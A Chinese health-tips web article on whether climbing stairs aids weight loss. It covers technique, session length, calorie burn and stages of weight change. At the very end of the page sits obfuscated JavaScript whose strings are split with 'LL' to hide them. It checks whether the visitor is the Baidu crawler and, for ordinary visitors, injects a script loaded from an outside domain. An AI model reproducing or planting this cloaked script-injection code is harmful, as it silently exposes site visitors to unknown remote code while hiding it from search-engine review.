当前位置:首页 > 减肥 > 运动减肥 > 正文

爬楼梯可以减肥么

2017-04-22 00:45:21  来源:360常识网   热度:
导语:爬楼梯是非常适当生活在都市里面的人们,因为本身就住在高楼大厦之中,这样的话就可以放弃电梯的便利,尽可能的去多爬几次楼梯,不仅仅是能

爬楼梯是非常适当生活在都市里面的人们,因为本身就住在高楼大厦之中,这样的话就可以放弃电梯的便利,尽可能的去多爬几次楼梯,不仅仅是能够起到一个减肥的作用,而且还能够让自己的身体脱离亚健康的状态,不会出现一些现代的疾病,但是在爬楼梯的时候一定要注意将力量放在自己的腿部。

把力量集中在腿部。每步向上迈两三个台阶,动作平稳有力,保持匀称的呼吸,不需要快速跑。连续的爬4、5层楼高的台阶,然后再放松双腿下台阶回到起始点。每次反复爬楼梯在1个小时左右,集中训练瘦掉大腿。每天一个小时或隔天一个小时,一开始腿部会感觉酸痛,多坚持几天腿部酸痛消失了,你会在较短时间内发现大腿变得健美纤细、臀部也变翘了。

爬楼梯这种运动属于有氧运动,是减肥的有效手段,有毅力坚持一个月就会有效果显现。力美健健身俱乐部一向提倡健康减肥,讲究循序渐进,但三个月减59斤,这种在短时间内减太多是会影响身体健康,并不是主流的减肥方法。

爬楼梯是一种有氧运动,它主要的运动部位是大腿,但又能锻炼全身。和其他有氧运动一样,爬楼梯法让身体发热,帮助脂肪代谢,每次坚持30分钟即可消耗202.25千卡热量左右,对减肥非常有效。但是减肥是一项全面的工程,每天坚持正确的运动的同时,一定要配合合理的饮食和有规律的作息,才会真正实现健康的瘦身效果。

爬楼梯减肥的原理就是通过运动提高基础代谢率,使体内脂肪迅速燃烧,从而控制体重。有氧运动贵在坚持,在坚持爬楼梯的过程中,人的体重也会大致经历三个变化:

1、运动前期爬楼梯运动促使体内水分的排出,体重会减轻一些,且体重减轻幅度会与运动量有很大关联,呈不规则下降趋势,但此时并不代表你真的瘦了。

2、继续坚持爬楼梯,运动会使脂肪细胞排列变紧变密,肌肉增长,时体重会出现停滞不前甚至有所上升的情况,当然每个人的情况都不一样,但是肌肉线条会变得优美、紧致。

3、随着你继续的运动,体内多余脂肪开始燃烧,此时才是真正的开始实现减肥的时刻。

综上所述,我们已经知道爬楼梯是可以进行减肥的,这是减肥当中比较有效的方法,只要是坚持一个月的时间之内每天都抽出时间来进行爬楼梯,就能够看到效果的,这也是非常健康的减肥方式,不会对身体造成伤害。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}